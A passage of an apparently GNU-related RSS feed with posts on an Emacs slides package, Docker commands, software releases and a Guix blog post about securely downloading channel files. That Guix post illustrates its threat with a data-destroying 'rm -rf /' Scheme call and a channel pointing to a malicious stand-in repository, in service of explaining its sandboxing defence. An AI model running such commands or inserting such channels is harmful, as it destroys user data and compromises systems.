animate slide texts onto the screen.  Shortly after realizing the
shortcomings of that approach, I abandoned it in favour a minor mode
implementation and published version &lt;code&gt;0.1.0&lt;/code&gt; of what is now &lt;code&gt;ffs&lt;/code&gt; in
my &lt;a href="https://git.kelar.org/~bandali/configs"&gt;personal configs repository&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
I used this implementation for presenting my LibrePlanet 2022 talk,
&lt;a href="https://kelar.org/~bandali/essays/net-beyond-web.html"&gt;The Net beyond the Web&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
I picked "ffs" as the package name, the acronym for form feed slides.
&lt;/p&gt;&lt;/div&gt;&lt;/section&gt; </description> 
	<pubDate>Fri, 22 May 2026 10:55:10 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: New GNU Taler integration in be-BOP</title>
	<guid>https://taler.net/en/news/2026-07.html</guid>
	<link>https://taler.net/en/news/2026-07.html</link>
     <description>  &lt;article&gt;
             A new GNU Taler integration is now officially available: be-BOP.
           &lt;/article&gt; </description> 
	<pubDate>Wed, 20 May 2026 22:00:00 +0000</pubDate>

</item> 
<item>
	<title>Gary Benson: Docker images by age or size</title>
	<guid>https://gbenson.net/?p=1051</guid>
	<link>https://gbenson.net/docker-images-by-size-age/</link>
     <description>  &lt;p&gt;Files by age, newest first:&lt;/p&gt;
&lt;pre&gt;ls -lt&lt;/pre&gt;
&lt;p&gt;Docker images by age, newest first:&lt;/p&gt;
&lt;pre style="font-size: 80%;"&gt;docker images --format "{{.CreatedAt}}\t{{.Repository}}:{{.Tag}}" | sort -r&lt;/pre&gt;
&lt;p&gt;Files by size, largest first:&lt;/p&gt;
&lt;pre&gt;ls -lS&lt;/pre&gt;
&lt;p&gt;Docker images by size, largest first:&lt;/p&gt;
&lt;pre style="font-size: 80%;"&gt;docker images --format "{{.Size}}\t{{.Repository}}:{{.Tag}}" | sort -rh&lt;/pre&gt;
&lt;p&gt;Why why why??!&lt;/p&gt; </description> 
	<pubDate>Tue, 19 May 2026 10:58:35 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: FFS code review and Emacs extensibility with Protesilaos</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-emacs-ext-prot</guid>
	<link>https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot.html</link>
     <description>  &lt;p&gt;
In the recent weeks I've been engaging &lt;a href="https://protesilaos.com/coach/"&gt;Prot as an Emacs coach&lt;/a&gt; to help
with doing review passes over my upcoming &lt;a href="https://git.kelar.org/~bandali/ffs"&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt; package as I work on
polishing and documenting it in preparation for offering it for
inclusion in GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;UPDATE 2026-05-15 08:50:10 -0400:&lt;/b&gt; Prot also published an article
about our session on his website:
&lt;a href="https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/"&gt;https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Today we had our third session where we started by reviewing and
talking about my recent changes to &lt;code&gt;ffs&lt;/code&gt;, then ventured to other
Emacs-related topics with the overarching theme of the flexibility
and extensibility of GNU Emacs, including &lt;code&gt;display-buffer-alist&lt;/code&gt;,
keyboard macros, defining a custom &lt;a href="https://kelar.org/~bandali/gnu/emacs/dotemacs.html#lisp-bandali-oxen"&gt;&lt;code&gt;ox-bhtml&lt;/code&gt;&lt;/a&gt; Org export backend
derived from Org's &lt;code&gt;ox-html&lt;/code&gt; for ultimate flexibility when exporting
my site's pages from Org to HTML, Org capture, plain text files and
Emacs's &lt;code&gt;diary&lt;/code&gt; and how it compares to &lt;code&gt;org-agenda&lt;/code&gt;, and keeping a
journal with the help of Emacs.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session, which I share with Prot's
permission:
&lt;/p&gt;

&lt;video controls="" id="org9614584" poster="https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot-poster.jpg" preload="metadata" src="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4" width="720"&gt;
&lt;source src="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4" type="video/mp4" /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4"&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href="https://archive.org/details/ffs-emacs-ext-prot-20260514"&gt;view&lt;/a&gt; or &lt;a href="https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4"&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
Lastly, here is the snippet Prot shared for having Isearch treat space
as a wildcard, helpful for more easily matching multiple parts of a
line:
&lt;/p&gt;

&lt;div class="org-src-container"&gt;
&lt;pre class="src src-elisp"&gt;&lt;code&gt;(setq search-whitespace-regexp ".*?")
(setq isearch-lax-whitespace t)
(setq isearch-regexp-lax-whitespace nil)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt; </description> 
	<pubDate>Fri, 15 May 2026 12:50:10 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33.0rc2 Now Available</title>
	<guid>https://savannah.gnu.org/news/?id=10892</guid>
	<link>https://savannah.gnu.org/news/?id=10892</link>
     <description>  &lt;p&gt;A test release of GNUtrition, 0.33.0rc2, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release makes some fixes to the gender option.  It also applies a fix to ./version.sh that affected builds from CVS checkouts, which was not an issue with the tarball, due to the tarballs including the version in a .ver file.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://www.gnu.org/software/gnutrition/"&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;.  This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="ftp://alpha.gnu.org/gnu/gnutrition/"&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alpha.gnu.org/gnu/gnutrition/"&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alpha.gnu.org/gnu/gnutrition/"&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &amp;lt;bug-gnutrition@gnu.org&amp;gt; (&lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 13 May 2026 21:40:19 +0000</pubDate>

</item> 
<item>
	<title>GNU Guix: Time travel without borders</title>
	<guid>https://guix.gnu.org/blog/2026/time-travel-without-borders//</guid>
	<link>https://guix.gnu.org/blog/2026/time-travel-without-borders//</link>
     <description>  &lt;p&gt;When offered the option to run other peopleâ€™s code, a prime
consideration is often ease of deployment.  While much progress has been
made in support of rapid deployment, the security implications of those
quick deployments is often overlooked.  In this post, we look at a new
feature of &lt;code&gt;guix time-machine&lt;/code&gt; and &lt;code&gt;guix pull&lt;/code&gt; in support of &lt;em&gt;one-line
deployment commands&lt;/em&gt;: the ability to download channel files, but without
compromising on security.&lt;/p&gt;&lt;h1&gt;Sharing code&lt;/h1&gt;&lt;p&gt;The normal workflow to share software and make it easily deployable with
Guix goes like this: someone puts their packager hat on and writes a
package definition, adds it to Guix proper or to a separate
&lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Channels.html"&gt;channel&lt;/a&gt;,
at which point anyone can fetch the relevant channel(s) and deploy the
software.&lt;/p&gt;&lt;p&gt;As an example, letâ€™s assume you want to run
&lt;a href="https://packages.guix.gnu.org/packages/yt-dlp"&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/a&gt; as packaged in
the latest Guix revision without upgrading your system or going through
an explicit installation step.  The simplest way to do that is with this
command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine -q -- shell yt-dlp -- yt-dlp â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If youâ€™re familiar with Nix, this is equivalentâ€”with some important
differences weâ€™ll discuss belowâ€”to this command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;nix shell nixpkgs#yt-dlp --command yt-dlp â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In both cases, weâ€™re fetching the latest revision of the package
collection (the &lt;code&gt;master&lt;/code&gt; branch for Guix, the &lt;code&gt;nixpkgs-unstable&lt;/code&gt; branch
of Nixpkgs for Nix) and running &lt;code&gt;yt-dlp&lt;/code&gt; from there.  (&lt;a href="https://nix.dev/manual/nix/2.28/command-ref/new-cli/nix3-run.html"&gt;&lt;code&gt;nix run&lt;/code&gt;&lt;/a&gt;
goes one step further by removing the need to specify the command name.)&lt;/p&gt;&lt;p&gt;Now, that was an easy example because &lt;code&gt;yt-dlp&lt;/code&gt; comes from Guix itself.
What if youâ€™d like to deploy an application thatâ€™s in another channel
such as &lt;a href="https://codeberg.org/guix-science/guix-science"&gt;Guix-Science&lt;/a&gt;?
Well, you would first need to come up with a &lt;a href="https://hpc.guix.info/channel/guix-science"&gt;&lt;code&gt;channels.scm&lt;/code&gt; file for
Guix-Science&lt;/a&gt; and &lt;em&gt;then&lt;/em&gt; you
can pass it to &lt;code&gt;guix pull&lt;/code&gt; or &lt;code&gt;guix time-machine&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$EDITOR channels.scm
# Make sure that includes Guix-Science.
guix time-machine -C channels.scm -- shell â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If youâ€™re lucky, perhaps you can download a channel file.  For example,
&lt;a href="https://guix.gnu.org/en/cuirass"&gt;Cuirass&lt;/a&gt; produces them for all
successfully-evaluated commits, so you can &lt;a href="https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science"&gt;fetch one for
Guix-Science&lt;/a&gt;
and go from there:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;wget -O channels.scm \
  https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
guix time-machine -C channels.scm -- shell â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can even do it in a single command &lt;a href="https://doc.guix.gnu.org/bash/5.2.37/en/html_node/Process-Substitution.html"&gt;using Bash &lt;em&gt;process
substitution&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C &amp;lt;(wget -O https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science) \
  -- shell â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Is it a good idea though?&lt;/p&gt;&lt;h1&gt;The threat&lt;/h1&gt;&lt;p&gt;If you look more closely, the &lt;code&gt;nix shell&lt;/code&gt; command and the last two &lt;code&gt;guix time-machine&lt;/code&gt; commands have a bit of a &lt;code&gt;curl | sh&lt;/code&gt; flavor to it:
downloading arbitrary code and running it without further ado.  All &lt;code&gt;nix shell&lt;/code&gt; does is authenticate &lt;code&gt;github.com&lt;/code&gt;, through HTTPS, and likewise
for &lt;code&gt;wget&lt;/code&gt;â€”that youâ€™re downloading from the genuine &lt;code&gt;github.com&lt;/code&gt; doesnâ€™t
tell you anything about the trustworthiness of the code youâ€™re running.&lt;/p&gt;&lt;p&gt;In the case of Guix, the &lt;code&gt;channels.scm&lt;/code&gt; youâ€™re downloading could very
well read this:&lt;/p&gt;&lt;pre&gt;&lt;code class="language-scheme"&gt;(system* "rm" "-rf" "/")  ;uh-oh!&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here &lt;code&gt;system*&lt;/code&gt;, as you might have guessed, &lt;a href="https://doc.guix.gnu.org/guile/latest/en/html_node/Processes.html#index-system_002a"&gt;invokes a
command&lt;/a&gt;.
Because yes, channel files can contain arbitrary Scheme code!  (Itâ€™s
worth noting that this particular problem is one Nix doesnâ€™t have: Nix
being a domain-specific language (DSL) already limits what Nix code can
do, especially with so-called â€œpureâ€� evaluation.)&lt;/p&gt;&lt;p&gt;Or it could read something like this:&lt;/p&gt;&lt;pre&gt;&lt;code class="language-scheme"&gt;(list (channel
        (name 'guix)
        ;; This is Malloryâ€™s malicious Guix, now youâ€™re PWND!
        (url "https://example.org/EVIL/guix.git")
        (branch "master")
        (introduction
         (make-channel-introduction
          "badc0ffeed807b096b48283debdcddccfea34bad"
          (openpgp-fingerprint
           "DEAD CABB A99E F6A8 0D1D  E643 A2A0 6DF2 A33A BADD")))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case, the channel file looks good, but the channel youâ€™ll
fetchâ€”probably not so much.&lt;/p&gt;&lt;p&gt;So no: downloading a channel file and using it without checking it is
not reasonable.&lt;/p&gt;&lt;h1&gt;The cake&lt;/h1&gt;&lt;p&gt;Can we have our cake and eat it too?  Can we casually download someone
elseâ€™s channel file without putting our system at risk?&lt;/p&gt;&lt;p&gt;Changes that have just landed in &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt; aim
to address these seemingly contradictory needs.  The two commands are
now equipped to download by themselves: just pass them a URL with the
&lt;code&gt;-C&lt;/code&gt; (or &lt;code&gt;--channels&lt;/code&gt;) option.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master \
  -- â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Crucially, this command is &lt;em&gt;not&lt;/em&gt; equivalent to the naÃ¯ve &lt;code&gt;-C &amp;lt;(wget -O â€¦)&lt;/code&gt; trick we saw above.&lt;/p&gt;&lt;p&gt;First, channel code is now evaluated &lt;a href="https://doc.guix.gnu.org/guile/latest/en/html_node/Sandboxed-Evaluation.html"&gt;in a
â€œsandboxâ€�&lt;/a&gt;:
it can only access a predefined set of bindings, cannot import
additional modules, and it must run in a limited amount of time and with
a limited amount of memory allocated.  This still provides access to
many general-purpose facilities but blocks anything that could be used
to alter the system state, exfiltrate data, or cause a denial of
service.&lt;/p&gt;&lt;p&gt;With this in place, evaluating a channel file can be considered safe.
Now, one problem remains: the file might list channels that I as a user
do not trust.  And here we see a tension between fetching channel files
&lt;em&gt;from out there&lt;/em&gt; and keeping oneâ€™s system safe.  To address that, we
define a new rule: only &lt;em&gt;trusted channels&lt;/em&gt; may be deployed; if a channel
file lists untrusted channels, &lt;code&gt;guix pull&lt;/code&gt; and &lt;code&gt;guix time-machine&lt;/code&gt; error
out.  Trusted channels are defined as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;they are those listed in &lt;code&gt;~/.config/guix/trusted-channels.scm&lt;/code&gt;, if
it existsâ€”this file lists channels just like a regular channel file;&lt;/li&gt;&lt;li&gt;or, they are the channels currently in use, as returned by &lt;code&gt;guix describe&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This brings us to the interesting question of &lt;em&gt;channel identity&lt;/em&gt;.  This
channel I call &lt;code&gt;guix-science&lt;/code&gt; in my &lt;code&gt;trusted-channels.scm&lt;/code&gt;, someone else
might as well call it &lt;code&gt;Guix-Science&lt;/code&gt; or &lt;code&gt;science&lt;/code&gt;; how can I tell if
weâ€™re dealing with the channel that &lt;em&gt;I&lt;/em&gt; call &lt;code&gt;guix-science&lt;/code&gt; and that I
trust?&lt;/p&gt;&lt;p&gt;The key insight is that the name itself doesnâ€™t matter; the element that
&lt;em&gt;does&lt;/em&gt; matter is the â€œintroductionâ€� of the channelâ€”the piece of
information that tells &lt;a href="https://guix.gnu.org/en/blog/2020/securing-updates/"&gt;how to authenticate updates of that
channel&lt;/a&gt;.  If you
forgot that episode, the introduction the thing with hexadecimal strings
that appears in a channel specification:&lt;/p&gt;&lt;pre&gt;&lt;code class="language-scheme"&gt;(channel
  (name 'guix-past)
  (url "https://codeberg.org/guix-science/guix-past")
  (introduction   ;this hex soup ğŸ‘‡ is the channelâ€™s identity
   (make-channel-introduction
    "0c119db2ea86a389769f4d2b9c6f5c41c027e336"
    (openpgp-fingerprint
     "3CE4 6455 8A84 FDC6 9DB4  0CFB 090B 1199 3D9A EBB5"))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two channels with the same introduction are one and the same.  Thus, if
my &lt;code&gt;trusted-channels.scm&lt;/code&gt; contains a channel with the above
introduction, &lt;code&gt;pull&lt;/code&gt; and &lt;code&gt;time-machine&lt;/code&gt; will happily pull from it.&lt;/p&gt;&lt;p&gt;The corollary is that a channel that cannot be authenticatedâ€”i.e., that
lacks the &lt;code&gt;introduction&lt;/code&gt; fieldâ€”cannot be considered a trusted channel.&lt;/p&gt;&lt;p&gt;Overall, this â€œtrusted channelâ€� rule trades flexibility for safety.
Itâ€™s a tradeoff but one that looks like a better default than anything
that effectively amounts to arbitrary code execution Ã  la &lt;code&gt;curl | sh&lt;/code&gt;.&lt;/p&gt;&lt;h1&gt;The party&lt;/h1&gt;&lt;p&gt;â€œWhy would I want to download channel files?â€�, you may ask?  Hereâ€™s a
list of typical use cases we have in mind.&lt;/p&gt;&lt;p&gt;The first one is downloading a channel file from a continuous
integration systemâ€”to deploy from a known-good state, to test a new
package version or a new feature, to reproduce a bug, etc.
&lt;a href="https://guix.gnu.org/en/cuirass"&gt;Cuirass&lt;/a&gt; serves channel files for
every channel set it evaluates.  So for example, you can pull the latest
Guix channel that was successfully evaluated like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix pull -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Likewise, this is how youâ€™d travel to the latest Guix-Science channel
and &lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Declaring-Channel-Dependencies.html"&gt;dependent
channels&lt;/a&gt;
to execute RStudio:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
  -- shell rstudio -- rstudio&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A second, similar use case is &lt;em&gt;one-line commands for demos&lt;/em&gt;: if youâ€™re
developing an application, you can package it, publish a channel file,
and share a &lt;code&gt;time-machine&lt;/code&gt; command to spawn it.  With &lt;a href="https://guix.gnu.org/manual/1.5.0/en/html_node/Replicating-Guix.html"&gt;pinned
channels&lt;/a&gt;,
you can ensure users run it from a known-good state.&lt;/p&gt;&lt;p&gt;A third use case that is emerging is &lt;em&gt;channel releases&lt;/em&gt;.  Teams
maintaining third-party channels might want to tag releases of their
channel as a channel files where each channel is pinned.  This is what
&lt;a href="https://codeberg.org/guix-science/guix-science/issues/528"&gt;the Guix-Science project recently decided to
do&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In the same vein, a fourth use case is the publication of a tested
channel file that a whole team, or a whole fleet of computers, would
upgrade from.  Imagine a group of people responsible for testing who
would periodically publish a new channel file pinned to known-good
commits that all the team members or an entire fleet could safely pull
fromâ€”it could even be used for &lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Unattended-Upgrades.html"&gt;unattended
upgrades&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;The fifth use case is &lt;a href="https://guix.gnu.org/cookbook/en/html_node/Reproducible-Research.html"&gt;&lt;em&gt;reproducible
research&lt;/em&gt;&lt;/a&gt;.
A computational workflow can be
&lt;a href="https://guix.gnu.org/cookbook/en/html_node/Recording-the-Environment.html"&gt;captured&lt;/a&gt;
by two files: &lt;code&gt;channels.scm&lt;/code&gt; and &lt;code&gt;manifest.scm&lt;/code&gt;.  In some cases, we
might as well download the channel file.&lt;/p&gt;&lt;h1&gt;Dissonance?&lt;/h1&gt;&lt;p&gt;But waitâ€¦ the astute reader might have felt some dissonance:
&lt;em&gt;downloading&lt;/em&gt; a channel file to set up a supposedly reproducible
workflow?  That canâ€™t be right: the channel file could change over time,
or it could vanish from its original URL.  Thatâ€™s not reproducibility,
is it?&lt;/p&gt;&lt;p&gt;As Simon Tournier was prompt to
&lt;a href="https://codeberg.org/guix/guix/pulls/6745#issuecomment-11142860"&gt;suggest&lt;/a&gt;,
the solution is to support &lt;a href="https://swhid.org"&gt;SWHIDs&lt;/a&gt; (Software Hash
Identifiers) in addition to URLs.  A SWHID is essentially a standardized
content hash that uniquely identifies â€œcontentâ€�â€”raw data or structured
data such as directories and version-control revisions.  If you followed
along, you might remember that Guix is &lt;a href="https://guix.gnu.org/en/blog/2019/connecting-reproducible-deployment-to-a-long-term-source-code-archive/"&gt;connected to the Software
Heritage
archive&lt;/a&gt;.
Software packaged in Guix is in &lt;a href="https://archive.softwareheritage.org"&gt;the
archive&lt;/a&gt; and so all we had to do
is connect the dots.&lt;/p&gt;&lt;p&gt;Consider this command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;guix time-machine \
  -C swh:1:cnt:003e1e0c1b9b358082201332c926ae54e9549002  \
  -- â€¦&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It downloads the channel file identified &lt;a href="https://archive.softwareheritage.org/browse/search/?q=swh%3A1%3Acnt%3A003e1e0c1b9b358082201332c926ae54e9549002&amp;amp;with_visit=true&amp;amp;with_content=true"&gt;by the given
SWHID&lt;/a&gt;
and then proceeds.&lt;/p&gt;&lt;p&gt;The SWHID serves as an unambiguous and unique &lt;em&gt;content address&lt;/em&gt; to refer
to a specific channel set.  It can be computed &lt;a href="https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-hash.html"&gt;using &lt;code&gt;guix hash&lt;/code&gt;&lt;/a&gt;,
but of course, the channel file must first be present in the Software
Heritage archive.  Thus, if the file is part of a version-control
repository, you can first &lt;a href="https://archive.softwareheritage.org/save/"&gt;request archiving of that
repository&lt;/a&gt;.  In a research
paper, one may include a single command to re-run computations the paper
builds upon.&lt;/p&gt;&lt;h1&gt;Pleasurable&lt;/h1&gt;&lt;p&gt;This new addition felt pleasurable for several reasons.  First because
it addresses use cases that people had been talking for a while, and
itâ€™s always nice to fill gaps.  It also felt good because several design
choices complement each other so that everything here falls into place:
channel specifications, Guileâ€™s â€œsandboxingâ€�, channel authentication,
and Software Heritage integration.&lt;/p&gt;&lt;p&gt;The whole endeavorâ€”allowing for quick deployment without compromising on
securityâ€”might sound quixotic or, some might say, anachronistic, at a
time when the
&lt;a href="https://hpc.guix.info/blog/2021/09/whats-in-a-package/"&gt;&lt;code&gt;pip&lt;/code&gt;s&lt;/a&gt;, the
&lt;a href="https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream/"&gt;&lt;code&gt;npm&lt;/code&gt;s&lt;/a&gt;,
the
&lt;a href="https://linuxsecurity.com/news/hackscracks/crypto-stealing-malware-hits-snap-packages"&gt;&lt;code&gt;snap&lt;/code&gt;s&lt;/a&gt;
and many more are all about deploying software of unknown origin like
thereâ€™s no tomorrow.  In Guix we do believe that transparency,
provenance tracking, and verifiability matter for the software we run;
efforts like this one are guided by these principles.&lt;/p&gt;&lt;p&gt;The feature &lt;a href="https://codeberg.org/guix/guix/pulls/6745"&gt;landed&lt;/a&gt; just a
few days ago.  Give it a try and letâ€™s hope you find it pleasant as
well!&lt;/p&gt;&lt;h1&gt;Acknowledgments&lt;/h1&gt;&lt;p&gt;I am grateful to Caleb â€œReepcaâ€� Ristvedt for their thorough code review
and insightful suggestions, and to Simon Tournier for commenting on the
general approach and suggesting improvements.  Many thanks to Rutherther
and to Cayetano Santos for reviewing an earlier draft of this post.&lt;/p&gt; </description> 
	<pubDate>Tue, 12 May 2026 15:00:00 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: FFS code review with Protesilaos</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-code-review-prot</guid>
	<link>https://kelar.org/~bandali/gnu/emacs/ffs-code-review-prot.html</link>
     <description>  &lt;p&gt;
In the recent weeks I've been engaging &lt;a href="https://protesilaos.com/coach/"&gt;Prot as an Emacs coach&lt;/a&gt; to help
with doing review passes over my upcoming &lt;a href="https://git.kelar.org/~bandali/ffs"&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt; package as I work on
polishing and documenting it in preparation for offering it for
inclusion in GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
Yesterday we had our second session focused on &lt;code&gt;ffs&lt;/code&gt;, which I recorded
and share publicly with everyone with Prot's permission, so that
others can also benefit from Prot's insights and experience as we
discuss various aspects of Emacs package development with the concrete
example of &lt;code&gt;ffs&lt;/code&gt;.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session:
&lt;/p&gt;

&lt;video controls="" id="org97db585" poster="https://kelar.org/~bandali/gnu/emacs/ffs-code-review-prot-poster.jpg" preload="metadata" src="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mp4" width="720"&gt;
&lt;source src="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mp4" type="video/mp4" /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mp4"&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href="https://archive.org/details/ffs-code-review-prot-20260506"&gt;view&lt;/a&gt; or &lt;a href="https://archive.org/download/ffs-code-review-prot-20260506/ffs-code-review-prot-20260506.mkv"&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
I addressed most of Prot's feedback about &lt;code&gt;ffs&lt;/code&gt; from our first
session, and I'll be working on the changes we discussed in this
session in the next days.
&lt;/p&gt;

&lt;p&gt;
In the last third of the video we switched topics to discuss a few
Emacs-related tangents including adding a 'padding' effect for the
mode line and its constructs, and distilling and separating the
easily-reusable package-like parts of one's Emacs configuration from
the actual configuration of those parts (e.g. the distinction of
&lt;code&gt;prot-lisp&lt;/code&gt; and &lt;code&gt;prot-emacs-modules&lt;/code&gt; in &lt;a href="https://protesilaos.com/emacs/dotemacs"&gt;Prot's Emacs configuration&lt;/a&gt;).
&lt;/p&gt;

&lt;p&gt;
For mode line padding, here is the snippet I'm using with Prot's
&lt;code&gt;doric-themes&lt;/code&gt;:
&lt;/p&gt;

&lt;div class="org-src-container"&gt;
&lt;pre class="src src-elisp"&gt;&lt;code&gt;(doric-themes-with-colors
  (custom-set-faces
   `(mode-line
     ((t :box (:line-width 6 :color ,bg-shadow-intense))))
   `(mode-line-inactive
     ((t :box (:line-width 6 :color ,bg-shadow-subtle))))
   `(mode-line-highlight
     ((t :box (:color ,bg-shadow-intense))))))
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt; </description> 
	<pubDate>Fri, 08 May 2026 02:10:33 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: FSD meeting and weekly recap 2026-05-01</title>
	<guid>http://www.fsf.org/blogs/licensing/fsd-recap-2026-05-01</guid>
	<link>http://www.fsf.org/blogs/licensing/fsd-recap-2026-05-01</link>
     <description>  Check out the important work our volunteers accomplished
this week and at today's Free Software Directory (FSD) IRC meeting. </description> 
	<pubDate>Mon, 04 May 2026 15:15:59 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: LibEuFin Connector for Dolibarr is out</title>
	<guid>https://taler.net/en/news/2026-05-libeufin.html</guid>
	<link>https://taler.net/en/news/2026-05-libeufin.html</link>
     <description>  &lt;article&gt;
             by Bohdan Potuzhnyi
           &lt;/article&gt; </description> 
	<pubDate>Fri, 01 May 2026 22:00:00 +0000</pubDate>

</item> 
<item>
	<title>www @ Savannah: Malware in Proprietary Software - Latest Additions</title>
	<guid>https://savannah.gnu.org/news/?id=10888</guid>
	<link>https://savannah.gnu.org/news/?id=10888</link>
     <description>  &lt;p&gt;The initial injustice of proprietary software often leads to further injustices: &lt;a href="https://www.gnu.org/proprietary/proprietary.html"&gt;malicious functionalities&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
&lt;br /&gt;

&lt;br /&gt;
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h3&gt;Here are our latest additions&lt;/h3&gt;
&lt;h4&gt;April 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/proprietary-obsolescence.html"&gt;Proprietary Obsolescence&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
